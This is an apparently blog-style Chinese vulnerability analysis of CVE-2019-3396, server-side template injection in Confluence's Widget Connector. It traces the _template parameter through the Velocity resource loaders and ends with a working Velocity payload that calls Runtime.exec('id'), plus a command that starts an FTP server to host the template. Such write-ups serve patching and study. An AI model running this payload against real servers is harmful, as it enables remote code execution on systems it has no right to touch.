受影响产品: Confluence Server & Data Center
受影响版本: 6.0.0 至 6.15.4
严重程度: 严重 (CVSS ~9.8)
原因:
Confluence 的 Widget Connector 插件(用于嵌入 YouTube、Vimeo 等外部视频和内容)。
该功能未正确验证用户输入,导致服务端模板注入(SSTI)。
攻击者可发送恶意 payload → Confluence 使用 Velocity 模板引擎渲染 → 在服务器上执行代码。
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector,我们尝试在 Confluence 源码文件夹中搜索
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class 设置 断点。DefaultRenderManager.class
getEmbeddedHtml() 方法。
YoutubeRenderer 类。getEmbeddedHtml(String url, Map<String, String> params)url → 用户输入的原始 YouTube 链接。params → 包含渲染配置参数的 map(例如:宽度、高度、用于渲染的模板等)。
getEmbedUrl(), setDefaultParam() 和 DefaultVelocityRenderService.render()setDefaultParam()
如果尚未设置 _template → 将默认模板设为 youtube.vm。
=> 可以自行向程序添加 _template。
接下来进入 DefaultVelocityRenderService.render()
方法目的
接收 url 和参数 params。
使用 Velocity 模板 (.vm) 渲染为嵌入 HTML(iframe, embed 等)。
确定模板
如果 params 中包含 _template → 使用该模板。
否则 → 使用默认模板 embed.vm。
通过 MacroUtils.defaultVelocityContext() 创建默认上下文。
将 params 中的所有参数放入上下文:
如果键为 tweetHtml → 保持 HTML 不变。
否则 → 使用 GeneralUtil.htmlEncode() 进行安全编码。
将 urlHtml、width、height 加入上下文(如果为空,则默认赋值为 400 × 300)。

VelocityUtils.getRenderedTemplate()
VelocityUtils 类。getRenderedTemplate 和 getRenderedTemplateWithoutSwallowingErrors()
getTemplate()
这里的 templateName 就是上方的 _template。
继续调用 VelocityEngine.Template()

VelocityEngine 类中,继续调用 RunimeInstance.getTemplate()
RuntimeInstance (Velocity 核心)
这是 Velocity 引擎的“心脏”。它负责:
初始化引擎 (init)
管理配置、宏、解析器、指令、事件处理程序等。
特别是:通过 ResourceManager 管理资源
→ 也就是说 RuntimeInstance 不会自行加载资源,而是委托给 resourceManager。
CompatibleVelocityResourceManager.getResource()
ConfigurableResourceManager (Confluence 自定义)
这是 ResourceManager 接口的一个实现。
它负责:
管理 资源加载器(文件加载器、类路径加载器、URL 加载器等)。
管理 globalCache(根据 resourceKey 缓存模板)。
当 RuntimeInstance 请求时,执行模板(.vm 文件)的加载/刷新。

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
当资源存在于缓存中时,不会立即返回,而是调用 refreshResource(...)。
refreshResource 会比较磁盘上的 lastModified 时间 与缓存中的时间。
如果文件已更改 → 缓存中的资源将失效 → 从磁盘重新加载 → 更新缓存。
👉 因此你无需手动更改 resourceKey。刷新机制确保了模板变更时缓存也会更新。
添加 _template 并重新发送请求

ResourceLoader 实例列表(已初始化的对象)

FileResourceLoader 和 ClasspathResourceLoaderFileResourceLoader调用 StringUtils.normalizePath() 来阻止路径遍历

normalizePath 的内容如图所示
/WEB-INF/web.xml 文件,可以看到文件已成功加载。
/../ 拦截,仍然无法跳出 Confluence 目录。ClasspathResourceLoader
ClassUtils.getResourceAsStream
/org/apache/catalina/loader/WebappClassLoaderBase.class 的 findResource()
super.findResource() 返回 URL,即可以获取到对象。

url.openStream() 获取数据


执行 Payload
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → 在 Ubuntu 上执行系统命令 "id"。python3 -m pyftpdlib -p 2005

执行:
